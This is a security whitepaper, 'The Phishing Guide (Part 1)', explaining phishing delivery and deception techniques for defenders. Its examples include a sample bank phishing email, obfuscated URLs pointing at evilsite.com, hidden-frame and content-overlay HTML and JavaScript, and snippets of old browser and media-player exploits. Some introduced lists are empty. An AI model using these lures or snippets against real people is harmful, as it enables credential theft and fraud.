The Phishing Guide (part 1) : Whitepapers : Home | ||||||||||||||||
![]() ![]() |
The Phishing Guide (Part 1) Understanding and Preventing Phishing Attacks Phishing is the new 21st century crime. The global media runs stories on an almost daily basis covering the latest organisation to have their customers targeted and how many victims succumbed to the attack. While the Phishers develop evermore sophisticated attack vectors, businesses flounder to protect their customers’ personal data and look to external experts for improving email security. Customers too have become wary of “official” email, and organisations struggle to install confidence in their communications. While various governments and industry groups battle their way in preventing Spam, organisations can in the meantime take a proactive approach in combating the phishing threat. By understanding the tools and techniques used by professional criminals, and analysing flaws in their own perimeter security or applications, organisations can prevent many of the most popular and successful phishing attack vectors. This paper covers the technologies and security flaws Phishers exploit to conduct their attacks, and provides detailed vendor-neutral advice on what organisations can do to prevent future attacks. Security professionals and customers can use this comprehensive analysis to arm themselves against the next phishing scam to reach their in-tray. Section 1: A Case for Prevention 1.1 A 21st Century ScamThroughout the centuries, identity theft has always been high on a criminal’s agenda. By gaining access to someone else’s personal data and impersonating them, a criminal may pursue a crime in near anonymity. In today’s 21st Century world, electronic identity theft has never been easier. 1.2 Phishing HistoryThe word “phishing” originally comes from the analogy that early Internet criminals used email lures to “phish” for passwords and financial data from a sea of Internet users. The use of “ph” in the terminology is partly lost in the annals of time, but most likely linked to popular hacker naming conventions such as “Phreaks” which traces back to early hackers who were involved in “phreaking” – the hacking of telephone systems.
By 1996, hacked accounts were called "phish", and by 1997 phish were actively being traded between hackers as a form of electronic currency. There are instances whereby Phishers would routinely trade 10 working AOL phish for a piece of hacking software or warez (stolen copyrighted applications and games). The earliest media citation referring to phishing wasn’t made until March 1997:
Over time, the definition of what constitutes a phishing attack has blurred and expanded. The term Phishing covers not only obtaining user account details, but now includes access to all personal and financial data. What originally entailed tricking users into replying to emails for passwords and credit card details, has now expanded into fake websites, installation of Trojan horse key-loggers and screen captures, and man-in-the-middle data proxies – delivered through any electronic communication channel. 2.1 Social Engineering FactorsPhishing attacks rely upon a mix of technical deceit and social engineering practices. In the majority of cases the Phisher must persuade the victim to intentionally perform a series of actions that will provide access to confidential information.
|
Subject: Westpac official notice Westpac Dear cIient of the Westpac Bank, The recent cases of fraudulent use of clients accounts forced the Technical services of the bank to update the software. We regret to acknowledge, that some data on users accounts could be lost. The administration kindly asks you to follow the reference given below and to sign in to your online banking account: https://oIb.westpac.com.au/ib/defauIt.asp We are gratefuI for your cooperation. Please do not answer this message and follow the above mentioned instructions. Copyright © 2004 - Westpac Banking Corporation ABN 33 007 457 141. |
Things to note with this particular attack:
<a href= http://olb.westpac.com.au.userdll.com:4903/ib/index.htm> https://oIb.westpac.com.au/ib/defauIt.asp</a> |
An increasingly popular method of conducting phishing attacks is through malicious web-site content. This content may be included within a web-site operated by the Phisher, or a third-party site hosting some embedded content.
Web-based delivery techniques include:
Fake Banner Advertising
Banner advertising is a very simple method Phishers may use to redirect an organisations customer to a fake web-site and capture confidential information. Using copied banner advertising, and placing it on popular websites, all which is necessary is some simple URL obfuscation techniques to obscure the final destination.
With so many providers of banner advertising services to choose from, it is a simple proposition for the Phisher to create their own online account (providing a graphic such as the one above and a URL of their choice) and have the service provider automatically distribute it to many of their managed websites. Using stolen credit cards or other banking information, the Phisher can easily conceal their identity from law enforcement agencies.
New on the Phishers radar, IRC and Instant Messaging (IM) forums are likely to become a popular phishing ground. As these communication channels become more popular with home users, and more functionality is included within the software, specialist phishing attacks will increase.
As many IRC and IM clients allow for embedded dynamic content (e.g. graphics, URL’s, multimedia includes, etc.) to be sent by channel participants, it is a trivial task to employ many of the phishing techniques used in standard web-based attacks.
The common usage of Bots (automated programs that listen and participate in group discussions) in many of the popular channels, means that it is very easy for a Phisher to anonymously send semi-relevant links and fake information to would-be victims.
While the delivery medium for the phishing attack may be varied, the delivery source is increasingly becoming home PC’s that have been previously compromised. As part of this compromise, a Trojan horse program has been installed which allows Phishers (along with Spammers, Warez Pirates, DDoS Bots, etc.) to use the PC as a message propagator. Consequently, tracking back a Phishing attack to an individual initiating criminal is extremely difficult.
It is important to note that the installation of Trojan horse software is on the increase, despite the efforts of large anti-virus companies. Many malicious or criminal groups have developed highly successful techniques for tricking home users into installing the software, and now operate large networks of Trojan deployments (networks consisting of thousands of hosts are not uncommon) capable of being used as Phishing email propagators or even hosting fraudulent web-sites.
That is not to say that Phishers are not capable of using Trojan horse software against a customer specifically to observe their confidential information. In fact, to harvest the confidential information of several thousand customers simultaneously, Phishers must be selective about the information they wish to record or be faced with information overload.
Information Specific Trojans
Early in 2004, a Phisher created a custom key-logger Trojan. Embedded within a standard HTML message (both in email format and a few compromised popular web sites) was code that attempted to launch a Java applet called “javautil.zip”. Although appearing to be a binary zip file, it was in fact an executable file that would be automatically executed in client browsers that had lax security permissions.
The Trojan key-logger was designed specifically to capture all key presses within windows with the titles of various names including:- commbank, Commonwealth, NetBank, Citibank, Bank of America, e-gold, e-bullion, e-Bullion, evocash, EVOCash, EVOcash, intgold, INTGold, paypal, PayPal, bankwest, Bank West, BankWest, National Internet Banking, cibc, CIBC, scotiabank and ScotiaBank.
For a Phishing attack to be successful, it must use a number of methods to trick the customer into doing something with their server and/or supplied page content. There are an ever increasing number of ways to do this. The most common methods are explained in detail below, and include:
One of the most successful vectors for gaining control of customer information and resources is through man-in-the-middle attacks. In this class of attack, the attacker situates themselves between the customer and the real web-based application, and proxies all communications between the systems. From this vantage point, the attacker can observe and record all transactions.
This form of attack is successful for both HTTP and HTTPS communications. The customer connects to the attackers server as if it was the real site, while the attackers server makes a simultaneous connection to the real site. The attackers server then proxies all communications between the customer and the real web-based application server – typically in real-time.
In the case of secure HTTPS communications, an SSL connection is established between the customer and the attackers proxy (hence the attackers system can record all traffic in an unencrypted state), while the attackers proxy creates its own SSL connection between itself and the real server.
Figure: Man-in-the-middle attack structure
For man-in-the-middle attacks to be successful, the attacker must be able to direct the customer to their proxy server instead of the real server. This may be carried out through a number of methods:
Transparent Proxies
Situated on the same network segment or located on route to the real server (e.g. corporate gateway or intermediary ISP), a transparent proxy service can intercept all data by forcing all outbound HTTP and HTTPS traffic through itself. In this transparent operation no configuration changes are required at the customer end.
DNS Cache Poisoning
“DNS Cache Poisoning” may be used to disrupt normal traffic routing by injecting false IP addresses for key domain names. For example, the attacker poisons the DNS cache of a network firewall so that all traffic destined for the MyBank IP address now resolves to the attackers proxy server IP address.
URL Obfuscation
Using URL obfuscation techniques, the attacker tricks the customer into connecting to their proxy server instead of the real server. For example, the customer may follow a link to http://www.mybank.com.ch/ instead of http://www.mybank.com/
Browser Proxy Configuration
By overriding the customers web-browser setup and setting proxy configuration options, an attacker can force all web traffic through to their nominated proxy server. This method is not transparent to the customer, and the customer may easily review their web browser settings to identify an offending proxy server.
In many cases browser proxy configuration changes setting up the attack will have been carried out in advance of receipt of the Phishing message.
The secret for many phishing attacks is to get the message recipient to follow a hyperlink (URL) to the attacker’s server, without them realising that they have been duped. Unfortunately phishers have access to an increasingly large arsenal of methods for obfuscating the final destination of the customer’s web request.
The most common methods of URL obfuscation include:
Bad Domain Names
One of the most trivial obfuscation methods is through the purposeful registration and use of bad domain names. Consider the financial institute MyBank with the registered domain mybank.com and the associated customer transactional site http://privatebanking.mybank.com. The Phisher could set up a server using any of the following names to help obfuscate the real destination host:
It is important to note that as domain registration organisations move to internationalise their services, it is possible to register domain names in other languages and their specific character sets. For example, the Cyrillic “o” looks identical to the standard ASCII “o” but can be used for different domain registration purposes - as pointed out by a company who registered microsoft.com in Russia a few years ago.
Finally, it is worth noting that even the standard ASCII character set allows for ambiguities such as upper-case “i” and lower-case “L”.
Friendly Login URL’s
Many common web browser implementations allow for complex URL’s that can include authentication information such as a login name and password. In general the format is URI://username:password@hostname/path.
Phishers may substitute the username and password fields for details associated with the target organisation. For example the following URL sets the username = mybank.com, password = ebanking and the destination hostname is evilsite.com.
http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm
This friendly login URL can successfully trick many customers into thinking that they are actually visiting the legitimate MyBank page. Because of its success, many current browser versions have dropped support for this URL encoding method.
Third-party Shortened URL’s
Due to the length and complexity of many web-based application URLs – combined with the way URL’s may be represented and displayed within various email systems (e.g. extra spaces and line feeds into the URL) – third-party organisations have sprung up offering free services designed to provide shorter URL’s.
Through a combination of social engineering and deliberately broken longs or incorrect URL’s, Phishers may use these free services to obfuscate the true destination. Common free services include http://smallurl.com and http://tinyurl.com. For example:
Dear valued MyBank customer, Our automated security systems have indicated that access to your online account was temporarily blocked on Friday 13th September between the hours of 22:32 and 23:46 due to repeated login failures. Our logs indicate that your account received 2935 authentication failures during this time. It is most probable that your account was subject to malicious attack through automated brute forcing techniques (for more information visit http://support.mybank.com/definitions/attacks.aspx?type=bruteforce). While MyBank were able to successfully block this attack, we would recommend that you ensure that your password is sufficiently complex to prevent future attacks. To log in and change your password, please click on the following URL: If this URL does not work, please use the following alternative link which will redirect to the full page - http://tinyurl.com/4outd Best regards, |
Host Name Obfuscation
Most Internet users are familiar with navigating to sites and services using a fully qualified domain name, such as www.evilsite.com. For a web browser to communicate over the Internet, this address must to be resolved to an IP address, such as 209.134.161.35 for www.evilsite.com. This resolution of IP address to host name is achieved through domain name servers. A Phisher may wish to use the IP address as part of a URL to obfuscate the host and possibly bypass content filtering systems, or hide the destination from the end user.
For example the following URL:
http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm
could be obfuscated such as:
http://mybank.com:ebanking@210.134.161.35/login.htm
While some customers are familiar with the classic dotted-decimal representation of IP addresses (000.000.000.000), most are not familiar with other possible representations. Using these other IP representations within an URL, it is possible obscure the host destination even further from regular inspection.
Depending on the application interpreting an IP address, there may be a variety of ways to encode the address other than the classic dotted-decimal format. Alternative formats include:
These alternative formats are best explained using an example. Consider the URL http://www.evilsite.com/, resolving to 210.134.161.35. This can be interpreted as:
URL Obfuscation
To ensure support for local languages in Internet software such as web browsers and email clients, most software will support alternate encoding systems for data. It is a trivial exercise for a Phisher to obfuscate the true nature of a supplied URL using one (or a mix) of these encoding schemes.
These encoding schemes tend to be supported by most web browsers, and can be interpreted in different ways by web servers and their custom applications. Typical encoding schemes include:
Cross-site scripting attacks (commonly referred to as CSS or XSS) make use of custom URL or code injection into a valid web-based application URL or imbedded data field. In general, these CSS techniques are the result of poor web-application development processes.
While there are numerous vectors for carrying out a CSS attack, Phishers must make use of URL formatted attacks. Typical formats for CSS injection into valid URL’s include:
Figure: Cross-site scripting attacks
In the example above, the customer has received the following URL via a Phishers email:
http://mybank.com/ebanking?URL=http://evilsite.com/phishing/fakepage.htm
While the customer is indeed directed and connected to the real MyBank web application, due to poor application coding by the bank, the ebanking component will accept an arbitrary URL for insertion within the URL field the returned page. Instead of the application providing a MyBank authentication form embedded within the page, the attacker has managed to reference a page under control on an external server (http://evilsite.com/phishing/fakepage.htm).
Unfortunately, as with most CSS vulnerabilities, the customer has no way of knowing that this authentication page is not legitimate. While the example URL may appear obvious, the attacker could easily obfuscate it using the techniques explained earlier. For example, http://evilsite.com/phishing/fakepage.htm
may instead become:
http%3A%2F%2F3515261219%2Fphishing%C0%AEfakepage%2Ehtm
Since both HTTP and HTTPS are stateless protocols, web-based applications must use custom methods of tracking users through its pages and also manage access to resources that require authentication. The most common way of managing state within such an application is through Session Identifiers (SessionID’s). These SessionID’s may be implemented through cookies, hidden fields or fields contained within page URLs.
Many web-based applications implement poor state management systems and will allow client connections to define a SessionID. The web application will track the user around the application using the preset SessionID, but will usually require the user to authenticate (e.g. supply identification information through the formal login page) before allowing them access to “restricted” page content.
In this class of attack the phishing message contains a web link to the real application server, but also contains a predefined SessionID field. The attackers system constantly polls the application server for a restricted page (e.g. an e-banking page that allows fund transfers) using the preset SessionID. Until a valid user authenticates against this SessionID, the attacker will receive errors from the web-application server (e.g. 404 File Not Found, 302 Server Redirect, etc.).
The phishing attacker must wait until a message recipient follows the link and authenticates themselves using the SessionID. Once authenticated, the application server will allow any connection using the authorised SessionID to access restricted content (since the SessionID is the only state management token in use). Therefore, the attacker can use the preset SessionID to access a restricted page and carryout his attack.
The following figure shows how the Preset Session Attack (sometimes referred to as Session Fixation) is conducted:
Figure: Preset session attacks
Here the Phisher has bulk-emailed potential MyBank customers a fake message containing the URL https://mybank.com/ebanking?session=3V1L5e5510N&Login=True containing a preset SessionID of 3V1L5e5510N and continually polls the MyBank server every minute for a restricted page that will allow customer Fund Transfers (https://mybank.com/ebanking?session=3V1L5e5510N&Transfer=True).
Until a customer authenticates using the SessionID, the Phisher will receive errors when trying to access the page as the SessionID is invalid. After the customer authenticates themselves the SessionID becomes valid, and the Phisher can access the Fund Transfer page.
Extending beyond the obfuscation techniques discussed earlier, an attacker may make use of HTML, DHTML and other scriptable code that can be interpreted by the customers web browser and used to manipulate the display of the rendered information. In many instances the attacker will use these techniques to disguise fake content (in particular the source of the page content) as coming from the real site – whether this is a man-in-the-middle attack, or a fake copy of the site hosted on the attackers own systems.
The most common vectors include:
Hidden Frames
Frames are a popular method of hiding attack content due to their uniform browser support and easy coding style.
In the following example, two frames are defined. The first frame contains the legitimate site URL information, while the second frame – occupying 0% of the browser interface – references the Phishers chosen content. The page linked to within the hidden frame can be used to deliver additional content (e.g. overriding page content or graphical substitution), retrieving confidential information such as SessionID’s or something more nefarious; such as executing screen-grabbing and key-logging observation code.
<frameset rows="100%,*" framespacing="0"> <frame name="real" src="http://mybank.com/" scrolling="auto"> <frame name="hiddenContent" src="http://evilsite.com/bad.htm" scrolling="auto"> </frameset> |
Hidden frames may be used for:
Overriding Page Content
Several methods exist for Phishers to override displayed content. One of the most popular methods of inserting fake content within a page is to use the DHTML function - DIV. The DIV function allows an attacker to place content into a “virtual container” that, when given an absolute position and size through the STYLE method, can be positioned to hide or replace (by “sitting on top”) underlying content. This malicious content may be delivered as a very long URL or by referencing a stored script. For example, the following code segment contains the first three lines of a small JavaScript file (e.g. fake.js) for overwriting a pages content.
var d = document; d.write('<DIV id="fake" style="position:absolute; left:200; top:200; z-index:2"> <TABLE width=500 height=1000 cellspacing=0 cellpadding=14><TR>'); d.write('<TD colspan=2 bgcolor=#FFFFFF valign=top height=125>'); ...... |
This method allows an attacker to build a complete page (including graphics and auxiliary scripting code elements) on top of the real page.
Graphical Substitution
While it is possible to overwrite page content easily through multiple methods, one problem facing Phishers is that of browser specific visual clues to the source of an attack. These clues include the URL presented within the browsers URL field, the secure padlock representing an HTTPS encrypted connection, and the Zone of the page source.
A common method used to overcome these visual clues is through the use of browser scripting languages (such as JavaScript, VBScript and Java) to position specially created graphics over these key areas with fake information.
In the example below, the attacker uses carefully positioned fake address bar and padlock/zone images to hide the real information. While the Phisher must use graphics that are appropriate to the manufacturer of the browser software, it is a trivial exercise for the attackers fake web site to determine the browser type and exact version through simple code queries. Therefore the attacker may prepare images for a range of common browsers and code their page in such a way that the appropriate images are always used.
Figure: Site impersonation with browser address bar, secure padlock and zone substitution
It is important to note that Phishing attacks in the past have combined graphical substitution with additional scripting code to fake other browser functionality. Examples include:
Using simple HTML embedded commands, an attacker can hijack the entire customer’s desktop (user interface) and construct a fake interface to capture and manipulate what the customer sees. This is done using the window.createPopup() and popup.show() commands. For example:
op=window.createPopup(); op.document.body.innerHTML="...html..."; op.show(0,0,screen.width,screen.height,document.body); |
An old favourite amongst the hacker community and becoming increasingly popular amongst Phishers, key-loggers and screen-grabbers can be used to observe confidential customer data as it is entered into a web-based application.
This information is collected locally and typically retrieved through by attacker through the following different methods:
Key-logging
The purpose of key loggers is to observe and record all key presses by the customer – in particular, when they must enter their authentication information into the web-based application login pages. With these credentials the Phisher can then use the account for their own purposes at a later date and time.
Key-loggers may be pre-compiled objects that will observe all key presses – regardless of application or context (e.g. they could be used to observe the customer using Microsoft Word to type a letter) – or they may be written in client-side scripting code to observe key presses within the context of the web browser. Due to client-side permissions, it is usually easier to use scripting languages for Phishing attacks.
Screen Grabbing
Some sophisticated Phishing attacks make use of code designed to take a screen shot of data that has been entered into a web-based application. This functionality is used to overcome some of the more secure financial applications that have special features build-in to prevent against standard key-logging attacks.
In many cases, only the relevant observational area is required (i.e. a small section of the web page instead of the entire screen) and the Phishers software will only record this data – thus keeping the upload data capture small and quick to transfer to their server.
For example, in a recent Phishing attempt against Barclays, the attack used screen grabbing techniques to capture an image of the second-tier login process designed to prevent key-logging attempts.
The sophisticated browsers customers use to surf the web, just like any other commercial piece of software, are often vulnerable to a myriad of attacks. The more functionality built into the browser, the more likely their exists a vulnerability that could be exploited by an attacker to gain access to, or otherwise observe, confidential information of the customer.
While software vendors have made great strides in methods of rolling out software updates and patches, home users are notoriously poor in applying them. This, combined with the ability to install add-ons (such as Flash, RealPlayer and other embedded applications) means that there are many opportunities for attack.
Similar to the threat posed by some of the nastier viruses and automated worms, these vulnerabilities can be exploited in a number of ways. However, unlike worms and viruses, many of the attacks cannot be stopped by anti-virus software as they are often much harder to detect and consequently prevent (i.e. the stage in which the antivirus product is triggered, is usually after the exploitation and typically only if the attacker tries to install a well known Backdoor Trojan or key-logger utility).
Example 1: Microsoft Internet Explorer URL Mishandling
By inserting a character (in this case 0x01 – represented as the escape encoded sequence %01) within the username section of the Friendly Login URL, a user would be redirected to the attackers server, but characters after the %01 would not be displayed in the browser URL field. Therefore this attack could be used to obfuscate the attackers full URL.
Sample HTML code:
location.href=unescape('http://www.mybank.com% 01@evilsite.com/phishing/fakepage.htm'); |
Example 2: Microsoft Internet Explorer and Media Player Combination
A vulnerability existed within Microsoft Media Player that was exploitable through java coding with Microsoft Internet Explorer. This vulnerability enabled remote servers to read local customer files, browse directories and finally execution of arbitrary software. Depending upon the software being executed, the attacker had the potential to take control of the customer’s computer.
The problem lay with how Media Player downloaded customised skins and stored them. For example:
"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : <IFRAME SRC="wmp2.wmz"></IFRAME>
Will download wmp2.wmz and place it in the defined folder. Unfortunately, the file wmp2.wmz may be a java jar archive. Therefore the following applet tag:
<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz" CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300> <PARAM NAME="URL" VALUE="file:///c:/test.txt"> </APPLET> |
Will be executed with codebase="file://c:/" and the applet will have read only access to C:\.
To execute this code automatically, all an attacker had to do was get the web browser to open a simple HTML fie such as the one below:
<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME> <SCRIPT> function f() { window.open("wmp7-bad.htm"); } setTimeout("f()",4000); </SCRIPT> |
Which calls a secondary HTML file (wmp7-bad.htm)
<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz" CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300> <PARAM NAME="URL" VALUE="file:///c:/test.txt"> </APPLET> |
Example 3: RealPlayer/RealOne Browser Extension Heap Corruption
RealPlayer is the most widely used product for internet media delivery, with in excess of 200 million users worldwide. All popular web browsers offer support for RealPlayer and the automatic playing of media.
By crafting a malformed .RA, .RM, .RV or .RMJ file it possible to cause heap corruption that can lead to execution of an attacker’s arbitrary code. By forcing a browser or enticing a user to a website containing such a file, arbitrary attacker supplied code could be automatically executed on the target machine. This code will run in the security context of the logged on user.
<OBJECT ID="RealOneActiveXObject" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5"></OBJECT> // Play a clip and show new status display |
More information is available from: http://www.nextgenss.com/advisories/realra.txt